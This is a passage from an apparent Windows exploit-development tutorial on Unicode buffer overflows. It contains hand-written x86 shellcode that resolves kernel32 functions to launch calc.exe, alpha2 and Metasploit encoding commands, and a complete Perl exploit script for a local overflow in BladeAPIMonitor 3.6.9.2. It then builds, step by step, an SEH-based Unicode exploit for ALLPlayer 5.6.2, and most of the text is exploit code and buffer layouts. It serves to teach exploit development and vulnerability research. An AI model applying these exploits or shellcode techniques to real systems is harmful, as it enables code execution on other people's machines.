eax,\[ebx+0x8f22e\] ;win 7 kernel32.winexec\(\) jmp WinExec ;short jump to
execute winexec/exitprocess

1234 | Win7:lea edi,\[ebx+0x5bc9a\] ;win 7 kernel32.exitprocess\(\)lea eax,\[ebx+0x8f22e\] ;win 7 kernel32.winexec\(\)jmp WinExec ;short jump to execute winexec/exitprocess  
---|---  
Remember, EBX contains our base address to Kernel32.dll, so getting the
address to each of our functions is simply a matter of adding the
corresponding offsets to it.

We’ll do the exact same thing for Windows XP:

WinXP: lea edi,\[ebx+0x1cafa\] ;win xp kernel32.exitprocess\(\) lea
eax,\[ebx+0x623ad\] ;win xp kernel32.winexec\(\)

123 | WinXP:lea edi,\[ebx+0x1cafa\] ;win xp kernel32.exitprocess\(\)lea eax,\[ebx+0x623ad\] ;win xp kernel32.winexec\(\)  
---|---  
Finally, we need to call the WinExec\(\) and ExitProcess\(\) functions. When
testing this exploit, I ran into some stack corruption issues when issuing the
CALL instruction which prevented me from calling ExitProcess\(\) afterwards.
As an alternative, I chose to push the ExitProcess\(\) address to the stack as
the return address immediately before calling WinExec\(\). What this will do
is return to ExitProcess\(\) without the need for a separate call instruction
and the program will exit cleanly.

;\[execute winexec/exitprocess\] WinExec: push edi ;return address =
exitprocess jmp eax ;jump to winexec\(\)

1234 | ;\[execute winexec/exitprocess\]WinExec:push edi ;return address = exitprocessjmp eax ;jump to winexec\(\)  
---|---  
That’s it, our shellcode is complete. Here it is all together:

\[BITS 32\] ;\[get kernel32 address\] xor ebx, ebx ;clear ebx mov ebx,
\[fs:0x30\] ;get pointer to PEB mov ecx, \[ebx+0xA4\] ;get OSMajorVersion mov
ebx, \[ebx+0x0C\] ;get PEB->Ldr mov ebx, \[ebx+0x14\] ;get
PEB->Ldr->InMemoryOrderModuleList.Flink \(1st entry\) mov ebx, \[ebx\] ;get
2nd entry mov ebx, \[ebx\] ;get 3rd entry mov ebx, \[ebx+0x10\] ;get base
address of 3rd entry = kernel32.dll ;\[push the winexec calc params\] xor
esi,esi ;zero register for param use push esi ;null terminator for "calc" push
dword "calc" ;"calc" mov eax,esp ;pointer to calc push esi ;param 1 = 0 push
eax ;param 2 = "calc" ;\[check windows version\] cmp cl, 5 ;check OS version
je WinXP ;jump to winxp params Win7: lea edi,\[ebx+0x5bc9a\] ;win 7
kernel32.exitprocess\(\) lea eax,\[ebx+0x8f22e\] ;win 7 kernel32.winexec\(\)
jmp WinExec ;short jump to execute winexec/exitprocess WinXP: lea
edi,\[ebx+0x1cafa\] ;win xp kernel32.exitprocess\(\) lea eax,\[ebx+0x623ad\]
;win xp kernel32.winexec\(\) ;\[execute winexec/exitprocess\] WinExec: push
edi ;return address = exitprocess jmp eax ;jump to winexec\(\)

123456789101112131415161718192021222324252627282930313233343536 | \[BITS 32\];\[get kernel32 address\]xor ebx, ebx ;clear ebxmov ebx, \[fs:0x30\] ;get pointer to PEBmov ecx, \[ebx+0xA4\] ;get OSMajorVersionmov ebx, \[ebx+0x0C\] ;get PEB->Ldrmov ebx, \[ebx+0x14\] ;get PEB->Ldr->InMemoryOrderModuleList.Flink \(1st entry\)mov ebx, \[ebx\] ;get 2nd entrymov ebx, \[ebx\] ;get 3rd entrymov ebx, \[ebx+0x10\] ;get base address of 3rd entry = kernel32.dll ;\[push the winexec calc params\]xor esi,esi ;zero register for param usepush esi ;null terminator for "calc"push dword "calc" ;"calc"mov eax,esp ;pointer to calcpush esi ;param 1 = 0push eax ;param 2 = "calc" ;\[check windows version\]cmp cl, 5 ;check OS versionje WinXP ;jump to winxp params Win7:lea edi,\[ebx+0x5bc9a\] ;win 7 kernel32.exitprocess\(\)lea eax,\[ebx+0x8f22e\] ;win 7 kernel32.winexec\(\)jmp WinExec ;short jump to execute winexec/exitprocess WinXP:lea edi,\[ebx+0x1cafa\] ;win xp kernel32.exitprocess\(\)lea eax,\[ebx+0x623ad\] ;win xp kernel32.winexec\(\) ;\[execute winexec/exitprocess\]WinExec:push edi ;return address = exitprocessjmp eax ;jump to winexec\(\)  
---|---  
We now need to assemble it and encode it using alpha2.

root@kali:~/alpha2\# nasm shellcode.asm -o shellcode.bin root@kali:~/alpha2\#
./alpha2 --unicode eax < shellcode.bin PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA...

123 | root@kali:~/alpha2\# nasm shellcode.asm -o shellcode.binroot@kali:~/alpha2\# ./alpha2 --unicode eax < shellcode.bin PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA...  
---|---  
As a side note, if this were not a Unicode exploit and you needed to
incorporate the resulting opcodes directly into your Perl exploit script \(or
you wanted to incorporate it into a C program\), you could use the following
bash one-liner \(add a concatenation symbol such as . or + as needed\) :

root@kali:~\# ndisasm shellcode.bin -b 32 | awk '\{print $2\}' | sed 's/.\\\{2\\\}/&\\\x/g;s/^/\"\\\x/;s/\[\\\x\]\*$//;s//\"/' "\x31\xDB" "\x64\x8B\x1D\x30\x00\x00\x00" "\x8B\x8B\xA4\x00\x00\x00" "\x8B\x5B\x0C" "\x8B\x5B\x14" "\x8B\x1B" "\x8B\x1B" "\x8B\x5B\x10" "\x31\xF6" "\x56" "\x68\x63\x61\x6C\x63" "\x89\xE0" "\x56" "\x50" "\x80\xF9\x05" "\x74\x0E" "\x8D\xBB\x9A\xBC\x05\x00" "\x8D\x83\x2E\xF2\x08\x00" "\xEB\x0C" "\x8D\xBB\xFA\xCA\x01\x00" "\x8D\x83\xAD\x23\x06\x00" "\x57" "\xFF\xE0"
123456789101112131415161718192021222324 | root@kali:~\# ndisasm shellcode.bin -b 32 | awk '\{print $2\}' | sed 's/.\\\{2\\\}/&\\\x/g;s/^/\"\\\x/;s/\[\\\x\]\*$//;s//\"/'"\x31\xDB""\x64\x8B\x1D\x30\x00\x00\x00""\x8B\x8B\xA4\x00\x00\x00""\x8B\x5B\x0C""\x8B\x5B\x14""\x8B\x1B""\x8B\x1B""\x8B\x5B\x10""\x31\xF6""\x56""\x68\x63\x61\x6C\x63""\x89\xE0""\x56""\x50""\x80\xF9\x05""\x74\x0E""\x8D\xBB\x9A\xBC\x05\x00""\x8D\x83\x2E\xF2\x08\x00""\xEB\x0C""\x8D\xBB\xFA\xCA\x01\x00""\x8D\x83\xAD\x23\x06\x00""\x57""\xFF\xE0"  
---|---  
By the way, you’ll see that our shellcode is 74 bytes, in length, which means
we met our first objective with some to spare\! Now that we have our
alpha2-encoded shellcode, we can complete our Perl exploit script:

\#\!/usr/bin/perl \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# \# Exploit Title: BladeAPIMonitor 3.6.9.2 Local Buffer Overflow \(Unicode\) \# Date: 9-1-2014 \# Exploit Author: Mike Czumak \(T\_v3rn1x\) -- @SecuritySift \# Vulnerable Software Link: http://www.exploit-db.com/exploits/18349/ \# Tested On: Windows 7 SP 1 and XP SP3 \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# \# Credit: \# Original Exploit code posted to Exploit-DB by FullMetalFouad \# http://www.exploit-db.com/exploits/18349/ \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# \# Details: \# Product Registration SN parameter vulnerable to overflow \# This exploit was customized for a Unicode Windows Exploit Development Tutorial \# http://www.securitysift.com windows-exploit-development-part-7-unicode-buffer-overflows \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# \# Winexec/calc.exe shellcode - Win XP SP3 and Win 7 SP1 \# Unencoded \(74 bytes\) | alpha2 unicode/eax encoded \(273 bytes\) \# note: uses hardcoded kernel32.dll offsets my $shell = "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALA". "YAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI". "111AIAJQYAZBABABABABkMAGB9u4JBmaYK0drkKm00YpkP9". "prkRk4dipYpYp4K1KZl4KaKJtRkmKTKmKTKqKlPMaKFPVS8". "aSOqPlOsBkEtnv0Pe0zYkUqdznRmgKTZWLkU9ptMsSNNZRM". "8M0JKLLtMekxzXJkQm0TMQsvMNCm69pnw9oWpA"; my $junk1 = "\x90" x \(290 - length\($shell\)\); \# pad out the remainder of 290 bytes before EIP my $eip = "\x3e\x43"; \# call ebx 0x0043003e | unicode ASLR: False, Rebase: False, SafeSEH: False \[BladeAPIMonitor.exe\] my $junk2 = "\x42" x 20; \# pad out 20 bytes to align venalign w/ ebx \# unicode venetian alignment my $venalign = "\x53"; \# push ebx; ebx is the register closest to our shellcode $venalign = $venalign . "\x42"; \# venetian pad/align $venalign = $venalign . "\x58"; \# pop eax; put ebx into eax & modify address to jump to our shellcode $venalign = $venalign . "\x42"; \# venetian pad/align $venalign = $venalign . "\x2d\x18\x11"; \# sub eax,0x11001800; subtract from address in eax $venalign = $venalign . "\x42"; \# venetian pad/align $venalign = $venalign . "\x05\x16\x11"; \# add eax,0x11001600; add to address in eax; net = -200h \(512d\) $venalign = $venalign . "\x42"; \# venetian pad/align $venalign = $venalign . "\xbf\x11\x11"; \# move edi, 11001100; bogus instruction to get 00 in front of next one $venalign = $venalign . "\xc8"; \# add al,cl; we are using the \x90 in CL from our $junk $venalign = $venalign . "\x42"; \# venetian pad/align $venalign = $venalign . "\x50"; \# push eax $venalign = $venalign . "\x42"; \# venetian pad/align $venalign = $venalign . "\xc3"; \# ret \(to eax = start of shellcode\) my $sploit = $shell.$junk1.$eip.$junk2.$venalign; \# sploit portion of buffer my $fill = "\x43" x \(2000 - \(length\($sploit\)\)\); \# fill for even buffer size my $buffer = $sploit.$fill; \# write the exploit buffer to file my $file = "bladeapi.txt"; open\(FILE, ">$file"\); print FILE $buffer; close\(FILE\); print "Exploit file \[" . $file . "\] created\n"; print "Buffer size: " . length\($buffer\) . "\n";
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061 | \#\!/usr/bin/perl \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# Exploit Title: BladeAPIMonitor 3.6.9.2 Local Buffer Overflow \(Unicode\)\# Date: 9-1-2014\# Exploit Author: Mike Czumak \(T\_v3rn1x\) -- @SecuritySift\# Vulnerable Software Link: http://www.exploit-db.com/exploits/18349/\# Tested On: Windows 7 SP 1 and XP SP3\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# Credit:\# Original Exploit code posted to Exploit-DB by FullMetalFouad\# http://www.exploit-db.com/exploits/18349/\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# Details:\# Product Registration SN parameter vulnerable to overflow\# This exploit was customized for a Unicode Windows Exploit Development Tutorial\# http://www.securitysift.com windows-exploit-development-part-7-unicode-buffer-overflows\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# \# Winexec/calc.exe shellcode - Win XP SP3 and Win 7 SP1\# Unencoded \(74 bytes\) | alpha2 unicode/eax encoded \(273 bytes\)\# note: uses hardcoded kernel32.dll offsets my $shell = "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALA". "YAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI". "111AIAJQYAZBABABABABkMAGB9u4JBmaYK0drkKm00YpkP9". "prkRk4dipYpYp4K1KZl4KaKJtRkmKTKmKTKqKlPMaKFPVS8". "aSOqPlOsBkEtnv0Pe0zYkUqdznRmgKTZWLkU9ptMsSNNZRM". "8M0JKLLtMekxzXJkQm0TMQsvMNCm69pnw9oWpA"; my $junk1 = "\x90" x \(290 - length\($shell\)\); \# pad out the remainder of 290 bytes before EIPmy $eip = "\x3e\x43"; \# call ebx 0x0043003e | unicode ASLR: False, Rebase: False, SafeSEH: False \[BladeAPIMonitor.exe\]my $junk2 = "\x42" x 20; \# pad out 20 bytes to align venalign w/ ebx \# unicode venetian alignmentmy $venalign = "\x53"; \# push ebx; ebx is the register closest to our shellcode $venalign = $venalign . "\x42"; \# venetian pad/align $venalign = $venalign . "\x58"; \# pop eax; put ebx into eax & modify address to jump to our shellcode  $venalign = $venalign . "\x42"; \# venetian pad/align $venalign = $venalign . "\x2d\x18\x11"; \# sub eax,0x11001800; subtract from address in eax $venalign = $venalign . "\x42"; \# venetian pad/align  $venalign = $venalign . "\x05\x16\x11"; \# add eax,0x11001600; add to address in eax; net = -200h \(512d\) $venalign = $venalign . "\x42"; \# venetian pad/align $venalign = $venalign . "\xbf\x11\x11"; \# move edi, 11001100; bogus instruction to get 00 in front of next one $venalign = $venalign . "\xc8"; \# add al,cl; we are using the \x90 in CL from our $junk  $venalign = $venalign . "\x42"; \# venetian pad/align $venalign = $venalign . "\x50"; \# push eax $venalign = $venalign . "\x42"; \# venetian pad/align $venalign = $venalign . "\xc3"; \# ret \(to eax = start of shellcode\) my $sploit = $shell.$junk1.$eip.$junk2.$venalign; \# sploit portion of buffermy $fill = "\x43" x \(2000 - \(length\($sploit\)\)\); \# fill for even buffer sizemy $buffer = $sploit.$fill; \# write the exploit buffer to filemy $file = "bladeapi.txt";open\(FILE, ">$file"\);print FILE $buffer;close\(FILE\);print "Exploit file \[" . $file . "\] created\n";print "Buffer size: " . length\($buffer\) . "\n";  
---|---  
Generate the buffer and execute in both Windows XP and 7 and you should get
the same results:

<img src='img/Temp2_9725.png' width='640' height='242' alt='win_exploit_7_35'
/>

Whew, we just covered a lot. Feel free to go back over this example if you’re
still unclear on any of the points I covered. Otherwise, continue on to
example number 2…an SEH Unicode exploit.

### Example 2: SEH Unicode BOF

This next example is a very basic unicode SEH BOF based on a POC by metacom
for AllPlayer 5.6.2. You can download the vulnerable app \(v5.6.2\) from the
POC link. The exploit we’ll write in this example is a slight variation of the
two I submitted to Exploit-DB \(here and here\) that should work for both
Windows XP SP3 and Windows 7 SP1.

#### Triggering the Exploit

After you’ve installed the ALLPlayer application on your Windows 7 machine
generate an m3u file containing a 5000 character buffer as follows:

\#\!/usr/bin/perl \# creates a malicious file to exploit standard local BOF \#
via EIP overwrite my $buffer = "http://" . \("\xcc" x 5000\); \# write the
exploit buffer to file my $file = "allplayer\_unicodeseh.m3u"; open\(FILE,
">$file"\); print FILE $buffer; close\(FILE\); print "Exploit file \[" . $file
. "\] created\n"; print "Buffer size: " . length\($buffer\) . "\n";

12345678910111213 | \#\!/usr/bin/perl\# creates a malicious file to exploit standard local BOF\# via EIP overwrite my $buffer = "http://" . \("\xcc" x 5000\); \# write the exploit buffer to filemy $file = "allplayer\_unicodeseh.m3u";open\(FILE, ">$file"\);print FILE $buffer;close\(FILE\);print "Exploit file \[" . $file . "\] created\n";print "Buffer size: " . length\($buffer\) . "\n";  
---|---  
Attach your debugger and open the m3u file in ALLPlayer, which should
immediately generate an exception and pause the debugger. Hit Shift+F9 several
times to trigger the SEH and you should see the following:

<img src='img/Temp2_9757.png' width='640' height='262' alt='win_exploit_7_37'
/>

In the stack window \(lower right\) you can see the SEH record overwrite.
Notice however in the disassembly window \(top left\) that the 00CC00CC
overwrite corresponded to a valid address \(an issue that I pointed out in the
previous example\). You’ll have to take this into account when it comes time
to calculate the offset to Next SEH/SEH. Although I don’t show it in the above
screenshot, if you examine the memory dump window you’ll see that the 5000
character buffer seems to be uninterrupted so we have no issues when it comes
to space for our shellcode.

In Immunity, hit Alt+S to view the corrupted SEH chain:

<img src='img/Temp2_9746.png' width='382' height='133' alt='win_exploit_7_36'
/>

So, we’ve confirmed we definitely have an SEH-based exploit and it’s
definitely Unicode. Because this is a Unicode-based SEH-based BOF, our exploit
is going to be constructed as follows:

<img src='img/Temp2_9749.png' width='640' height='83' alt='win_exploit_7_38'
/>

#### Determining the Offset to Next SEH

The next step is to figure out the offset to Next SEH/SEH. I’ve already
illustrated in the previous example how to do so using a Metasploit pattern,
so I’ll spare those details here \(just remember that you may need to start at
an offset into the pattern to avoid overwriting EIP with a valid address\).

You’ll find that the offset to Next SEH is 303. We can test that with the
following modification to the Perl exploit script:

\#\!/usr/bin/perl my $buffsize = 5000; \# sets buffer size for consistent
sized payload my $junk = "http://" . "\x41" x 303; \# offset to nseh my $nseh
= "\xcc\xcc"; my $seh = "\xcc\xcc"; my $sploit = $junk.$nseh.$seh; \# assemble
the exploit portion of the buffer my $fill = "\x42" x \($buffsize -
length\($sploit\)\); \# fill remainder of buffer with junk my $buffer =
$sploit.$fill; \# assemble the final buffer \# write the exploit buffer to
file my $file = "allplayer\_unicodeseh.m3u"; open\(FILE, ">$file"\); print
FILE $buffer; close\(FILE\); print "Exploit file \[" . $file . "\] created\n";
print "Buffer size: " . length\($buffer\) . "\n";

123456789101112131415161718 | \#\!/usr/bin/perl my $buffsize = 5000; \# sets buffer size for consistent sized payloadmy $junk = "http://" . "\x41" x 303; \# offset to nsehmy $nseh = "\xcc\xcc";my $seh = "\xcc\xcc"; my $sploit = $junk.$nseh.$seh; \# assemble the exploit portion of the buffermy $fill = "\x42" x \($buffsize - length\($sploit\)\); \# fill remainder of buffer with junkmy $buffer = $sploit.$fill; \# assemble the final buffer \# write the exploit buffer to filemy $file = "allplayer\_unicodeseh.m3u";open\(FILE, ">$file"\);print FILE $buffer;close\(FILE\);print "Exploit file \[" . $file . "\] created\n";print "Buffer size: " . length\($buffer\) . "\n";  
---|---  
Using the resulting exploit buffer you should see something similar to the
following in your debugger:

<img src='img/Temp2_9724.png' width='297' height='614' alt='win_exploit_7_39'
/>

For a non-Unicode SEH exploit you would normally overwrite SEH with an address
to a POP+POP+RET instruction sequence and overwrite Next SEH with a short jump
to hop over SEH and into your shellcode \(if you don’t know what I’m talking
about, be sure to read this post before moving on\). Unfortunately, that won’t
work with a Unicode exploit because the two-byte jump instruction in Next SEH
would get corrupted by the null byte insertion. Instead, we need to do the
following:

  1. Overwrite Next SEH with two single-byte instructions that will execute successfully without interfering with the execution flow to our shellcode.
  2. Overwrite SEH with a Unicode-friendly POP+POP+RET address that will also translate to benign instructions and execute successfully without interfering with the execution flow to our shellcode.

#### Overwriting SEH

Let’s start with the SEH overwrite since that will get triggered first. To
find a Unicode-friendly POP+POP+RET address, we can use mona \(\!mona seh\). I
ran the mona command on both Windows XP SP3 and Windows 7 so you can see that
there is overlap in the addresses that should give us portability across
multiple platforms. Once again we have plenty of addresses to choose from.

<img src='img/Temp2_9763.png' width='640' height='292' alt='win_exploit_7_46'
/>

I’ll use the first one \(0x004f002d\), placing it in SEH \(\x2d\x4f\) and
leave the \xcc instructions in Next SEH. Re-run the exploit and execute the
POP+POP+RET and you should be paused at the first INT instruction located in
Next SEH which means our SEH overwrite was successful.

<img src='img/Temp2_9732.png' width='640' height='344' alt='win_exploit_7_41'
/>

#### Overwriting Next SEH

The goal with this Unicode exploit is the same as the previous–redirect
execution to our encoded shellcode which must we need to point to by a pre-
defined register \(in this case EAX\). However, take a look at the previous
screenshot and note the current values of the registers. None of them point to
our buffer. ESP and EBP are fairly close but would still require some
significant adjustment. Now look at the stack. There are several addresses
close to the top of the stack that do point to our buffer. Remember that for
our Next SEH overwrite we can only use single-byte instructions. These could
be completely benign instructions \(such as how we used \x42 in the previous
example\) which would be fine if we had a register that pointed to our
shellcode. However, since we don’t, we can use one of the bytes of our Next
SEH overwrite to issue a POPAD instruction to load the registers with
addresses from the top of the stack. The second byte of Next SEH can simply be
a benign instruction \(I’ll use \x47 = ADD BYTE PTR DS:\[EDI\],AL\). Here’s
the updated exploit script:

\#\!/usr/bin/perl my $buffsize = 5000; \# sets buffer size for consistent
sized payload my $junk = "http://" . "\x41" x 303; \# offset to nseh my $nseh
= "\x61\x47"; \# popad + venetian pad/align my $seh = "\x2d\x4f"; \#
0x004f002d : pop ecx pop ebp ret \[ALLPlayer.exe\] ASLR: False, Rebase: False,
SafeSEH: False, OS: False my $sploit = $junk.$nseh.$seh; \# assemble the
exploit portion of the buffer my $fill = "\x47\xcc" x \($buffsize -
length\($sploit\)\); \# fill remainder of buffer with junk my $buffer =
$sploit.$fill; \# assemble the final buffer \# write the exploit buffer to
file my $file = "allplayer\_unicodeseh.m3u"; open\(FILE, ">$file"\); print
FILE $buffer; close\(FILE\); print "Exploit file \[" . $file . "\] created\n";
print "Buffer size: " . length\($buffer\) . "\n";

123456789101112131415161718 | \#\!/usr/bin/perl my $buffsize = 5000; \# sets buffer size for consistent sized payloadmy $junk = "http://" . "\x41" x 303; \# offset to nsehmy $nseh = "\x61\x47"; \# popad + venetian pad/align my $seh = "\x2d\x4f"; \# 0x004f002d : pop ecx pop ebp ret \[ALLPlayer.exe\] ASLR: False, Rebase: False, SafeSEH: False, OS: False my $sploit = $junk.$nseh.$seh; \# assemble the exploit portion of the buffermy $fill = "\x47\xcc" x \($buffsize - length\($sploit\)\); \# fill remainder of buffer with junkmy $buffer = $sploit.$fill; \# assemble the final buffer \# write the exploit buffer to filemy $file = "allplayer\_unicodeseh.m3u";open\(FILE, ">$file"\);print FILE $buffer;close\(FILE\);print "Exploit file \[" . $file . "\] created\n";print "Buffer size: " . length\($buffer\) . "\n";  
---|---  
Notice in the above script I also adjusted the value $fill to include
alternating benign instructions \(\x47\) and INTs \(\xcc\) to ensure proper
alignment to pause on the first-encountered INT. Here’s the result:

<img src='img/Temp2_9733.png' width='640' height='324' alt='win_exploit_7_42'
/>

After the POPAD several registers now point very close to our buffer, with ESI
being the closest. Similar to the previous exploit example, we’ll put the
address currently in ESI into EAX by issuing POP and RET instructions. Then we
can modify the value in EAX using some ADD/SUB instructions and add some
additional alignment instructions if necessary to ensure it points directly to
our shellcode.

I want you to notice one more thing about the above screenshot. Look at the
instruction at 0012ED38 \(SUB EAX, 47004F00\). This is actually our SEH
POP+POP+RET address being executed as an instruction. Again, normally in
traditional SEH exploits Next SEH is overwritten with a short jump that hops
over the SEH address. However, in a Unicode exploit, not only does SEH have to
be a valid POP+POP+RET address, but because we can’t issue a JMP, that address
must also be able to successfully execute as its own instruction\! In our case
we got lucky, but it’s possible that the first address you try won’t execute
properly and you’ll have to choose a different one.

#### Adjusting EAX

Once we move the address in ESI into EAX, we need to adjust it to get it to
point to our shellcode. But what do we adjust it to? In my case, ESI points to
0x0012EAB0. Take a look below at an expanded view of the Memory Dump window:

<img src='img/Temp2_9745.png' width='408' height='552' alt='win_exploit_7_43'
/>

That address is about 24 bytes from the start of our buffer. We know we have
an additional 316d bytes of $junk + $nseh + $seh before we get to the $fill
portion of our buffer. Multiply this by 2 to account for the Unicode nulls and
you’ve got 632d. We’ll also take up some additional bytes with the ADD/SUB
instructions and the corresponding Venetian padding. Since we can only ADD/SUB
using increments of 100 we’ll need to adjust EAX by at least 300h \(768d\).
We’ll need to fine tune it a bit, but let’s see where that gets us. First,
let’s update the Perl script to incorporate the ADD/SUB instructions with the
alternating venetian alignment instructions:

\#\!/usr/bin/perl my $buffsize = 5000; \# sets buffer size for consistent
sized payload my $junk = "http://" . "\x41" x 303; \# offset to nseh my $nseh
= "\x61\x47"; \# popad + venetian pad/align my $seh = "\x2d\x4f"; \#
0x004f002d : pop ecx pop ebp ret \[ALLPlayer.exe\] ASLR: False, Rebase: False,
SafeSEH: False, OS: False \# unicode venetian alignment my $venalign = "\x47"
x 2; \# venetian pad/align $venalign = $venalign . "\x56"; \# push esi
$venalign = $venalign . "\x47"; \# venetian pad/align $venalign = $venalign .
"\x58"; \# pop eax $venalign = $venalign . "\x47"; \# venetian pad/align
$venalign = $venalign . "\x05\x19\x11"; \# add eax,0x11001900 $venalign =
$venalign . "\x47"; \# venetian pad/align $venalign = $venalign .
"\x2d\x16\x11"; \# sub eax,0x11001600 \(net diff +300h\) $venalign = $venalign
. "\x47"; \# venetian pad/align $venalign = $venalign . "\x50"; \# push eax
$venalign = $venalign . "\x47"; \# venetian pad/align $venalign = $venalign .
"\xc3"; \# ret my $sploit = $junk.$nseh.$seh.$venalign; \# assemble the
exploit portion of the buffer my $fill = "\x47\xcc" x \($buffsize -
length\($sploit\)\); \# fill remainder of buffer with junk my $buffer =
$sploit.$fill; \# assemble the final buffer \# write the exploit buffer to
file my $file = "allplayer\_unicodeseh.m3u"; open\(FILE, ">$file"\); print
FILE $buffer; close\(FILE\); print "Exploit file \[" . $file . "\] created\n";
print "Buffer size: " . length\($buffer\) . "\n";

1234567891011121314151617181920212223242526272829303132 | \#\!/usr/bin/perl my $buffsize = 5000; \# sets buffer size for consistent sized payloadmy $junk = "http://" . "\x41" x 303; \# offset to nsehmy $nseh = "\x61\x47"; \# popad + venetian pad/align my $seh = "\x2d\x4f"; \# 0x004f002d : pop ecx pop ebp ret \[ALLPlayer.exe\] ASLR: False, Rebase: False, SafeSEH: False, OS: False \# unicode venetian alignmentmy $venalign = "\x47" x 2; \# venetian pad/align $venalign = $venalign . "\x56"; \# push esi $venalign = $venalign . "\x47"; \# venetian pad/align $venalign = $venalign . "\x58"; \# pop eax $venalign = $venalign . "\x47"; \# venetian pad/align  $venalign = $venalign . "\x05\x19\x11"; \# add eax,0x11001900 $venalign = $venalign . "\x47"; \# venetian pad/align  $venalign = $venalign . "\x2d\x16\x11"; \# sub eax,0x11001600 \(net diff +300h\) $venalign = $venalign . "\x47"; \# venetian pad/align  $venalign = $venalign . "\x50"; \# push eax $venalign = $venalign . "\x47"; \# venetian pad/align $venalign = $venalign . "\xc3"; \# ret my $sploit = $junk.$nseh.$seh.$venalign; \# assemble the exploit portion of the buffermy $fill = "\x47\xcc" x \($buffsize - length\($sploit\)\); \# fill remainder of buffer with junkmy $buffer = $sploit.$fill; \# assemble the final buffer \# write the exploit buffer to filemy $file = "allplayer\_unicodeseh.m3u";open\(FILE, ">$file"\);print FILE $buffer;close\(FILE\);print "Exploit file \[" . $file . "\] created\n";print "Buffer size: " . length\($buffer\) . "\n";  
---|---  
Trigger the exploit with the new buffer and you should see the net of the
ADD/SUB instructions adjusts EAX by +300h \(0012EDB0\) as expected.

<img src='img/Temp2_9722.png' width='242' height='138' alt='win_exploit_7_45'
/>

Take a look at the memory dump window and you should see that the current
location of EAX is a total of 82 bytes \(including nulls\) from the end of our
last $venalign instruction \(\xc3\) as represented by the highlighted section
below.

<img src='img/Temp2_9742.png' width='448' height='284' alt='win_exploit_7_44'
/>

This means we need to put another $junk2 buffer 41 bytes in length \(to
account for the inserted nulls\) in front of our shellcode to ensure that EAX
will point to the very first byte.

#### The Shellcode

Remember, we don’t really have any space constraints with this exploit so we
can use a standard, alpha-encoded payload. I’ll use metasploit to generate it
as follows:

root@kali:~/softwarez/alpha2\# msfpayload windows/exec cmd=calc R | msfencode -e x86/unicode\_mixed BufferRegister=EAX -t perl \[\*\] x86/unicode\_mixed succeeded with size 518 \(iteration=1\) my $buf = "\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41" . ...
123456 | root@kali:~/softwarez/alpha2\# msfpayload windows/exec cmd=calc R | msfencode -e x86/unicode\_mixed BufferRegister=EAX -t perl\[\*\] x86/unicode\_mixed succeeded with size 518 \(iteration=1\) my $buf = "\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41" . ...  
---|---  
If you notice, even though the formatting of the resulting shellcode is hex,
it is only made up of alphanumeric characters. If you really want to convert
this to the ASCII representation you can use the following one-liner:

root@kali:~/softwarez/alpha2\# msfpayload windows/exec cmd=calc R | msfencode -e x86/unicode\_mixed BufferRegister=EAX -t perl | perl -pe 's/\\\x\(\[0-9a-f\]\{2\}\)/chr hex $1/gie' \[\*\] x86/unicode\_mixed succeeded with size 518 \(iteration=1\) my $buf = "PPYAIAIAIAIAIA" . "IAIAIAIAIAIAIA" . "IAIAjXAQADAZAB" . ...
